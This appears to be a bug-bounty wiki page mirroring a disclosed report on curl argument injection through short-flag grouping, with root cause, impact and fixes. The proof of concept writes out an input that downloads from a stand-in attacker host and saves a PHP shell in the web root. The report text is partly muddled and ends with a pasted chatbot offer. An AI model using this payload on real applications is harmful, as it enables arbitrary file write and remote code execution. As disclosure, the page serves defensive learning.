Skip to content
RCE Disclosed report Intermediate

Argument Injection via curl Short-Flag Grouping

An application that builds a shell command by concatenating user input into a curl invocation allows an attacker to inject curl flags. By supplying a short-flag group such as -os followed by a path and a URL, the attacker can make curl silently write remote content to an arbitrary file, potentially leading to code execution.

midoussa7 Follow

Originally disclosed on HackerOne

Critical View original
  • Disclosed after 2 hours

This report details how the curl -os command facilitates an Argument Injection vulnerability in applications that wrap the curl command-line tool. The specific command curl -os /etc/passwd --url http://example.com demonstrates a subtle but dangerous behavior. Because -s (silent) follows -o (output), curl expects the very next string to be the filename.In this scenario:The -o flag consumes the next argument (/etc/passwd).The -s flag tells curl to suppress the progress meter and error messages.The --url flag specifies the source of the data.This effectively turns a "downloader" into a "file overwriter." Root Cause Analysis The root cause is insufficient input validation and the unsafe use of command-line wrappers.Flag Grouping: Like most Unix-style utilities, curl allows "short-flag grouping." When a user inputs -os, curl interprets this as two separate flags: -o (output to a file) and -s (silent mode).Missing Delimiters: If an application executes a command like curl $USER_INPUT, it assumes the input will be a URL. However, if the input starts with a dash (-), curl treats it as a command-line argument rather than a string.Shell Interpretation: Many developers use functions like os.system() or exec() which pass a raw string to the system shell, allowing the shell to parse the attacker's injected flags as if they were part of the original command structure. 4. Proof of Concept (PoC)Scenario: A web application allows a user to "check if a URL is alive" by running a backend command: curl [USER_URL].

5.Steps to Reproduce:

Attacker Input: 1-Instead of a URL, the attacker enters: -os /var/www/html/shell.php --url http://attacker.com 2- Backend Execution: The server executes the concatenated string:curl -os /var/www/html/shell.php --url http://attacker.com Result: curl silently downloads the malicious_script.txt and saves it as shell.php in the web 3-rootExploitation: The attacker navigates to http://victim.com to execute their code.

Impact

Summary:

The impact of this vulnerability is typically categorized as High to Critical, depending on the environment:Arbitrary File Write: An attacker can use the -o (or --output) flag to write the contents of a URL to any location the application has permission to access.System Defacement/DDoS: By overwriting .html or .js files, an attacker can deface a website.Remote Code Execution (RCE): By overwriting a .sh script, a crontab, or a .php file in a web directory, an attacker can execute arbitrary code on the server.Data Exfiltration: Using the -F (form) or -d (data) flags, an attacker could redirect sensitive local files to their own remote server 5. Remediation

RecommendationsPrimary Fix: Use a library (e.g., libcurl for C, requests for Python) instead of calling the system's curl binary.Argument Separation: If the CLI must be used, use the -- separator to tell curl that all following strings are URLs and not flags:Safe: curl -- [USER_INPUT]Sanitization: Disallow any input that begins with a hyphen (-) or contains shell metacharacters (;, &, |).Would you like a Python or Node.js code example showing the "safe" vs. "unsafe" way to handle these commands?

The original report as published on HackerOne, by midoussa7. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The application concatenates untrusted input into a shell command without separating it from curl's own options, so input beginning with a dash is parsed as flags.

Impact

An attacker could write arbitrary files anywhere the application can write, which may lead to website defacement, remote code execution or exfiltration of local data.

What the attacker needed

Application wraps curl with user input; input is concatenated into a shell command; attacker can reach the feature

The fix

The application should avoid shelling out to curl and use a library instead, or at minimum place a -- separator before the user input and reject values starting with a hyphen.

How it was found

  1. The attacker supplies a value beginning with a dash instead of a URL, containing an output flag group, a target path and a source URL.
  2. The server concatenates that value into its curl command and runs it through the shell.
  3. curl treats the injected text as flags, silently downloads the remote content and writes it to the chosen path.
  4. The attacker requests the written file through the web server to run their code.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Some programs take a web address from a user and pass it to a command-line tool called curl to download it. If the program does not separate the user's text from its own options, the user can type something that looks like an option instead of a web address. That lets them tell curl to save a file wherever they want, which can overwrite important files on the server.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.